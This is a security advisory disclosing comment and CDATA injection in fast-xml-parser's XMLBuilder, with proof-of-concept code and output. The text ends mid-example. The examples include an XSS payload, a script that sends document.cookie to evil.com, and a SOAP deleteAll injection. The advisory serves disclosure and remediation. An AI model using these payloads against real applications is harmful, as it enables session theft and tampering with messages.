GitHub Security Advisory: GHSA-gh4j-gqv2-49f6
Package: fast-xml-parser (NPM)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-91: XML Injection (aka Blind XPath Injection)
Vulnerable versions: < 5.7.0
Patched in: 5.7.0

Summary: fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

Details:
# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

## Summary

fast-xml-parser XMLBuilder does not escape the `-->` sequence in comment content or the `]]>` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:
- CVE-2023-26920: Prototype pollution (parser)
- CVE-2023-34104: ReDoS (parser)
- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.

## Vulnerable Code

**File**: `src/fxb.js`

```javascript
// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}
```

Compare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.

## Proof of Concept

### Test 1: Comment Injection (XSS in SVG/HTML context)

```javascript
import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));
```

**Output**:
```xml
<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>
```

### Test 2: CDATA Injection (RSS feed)

```javascript
const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));
```

**Output**:
```xml
<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>
```

### Test 3: SOAP Message Injection

```javascript
const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));
```

**Output**:
```xml
<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><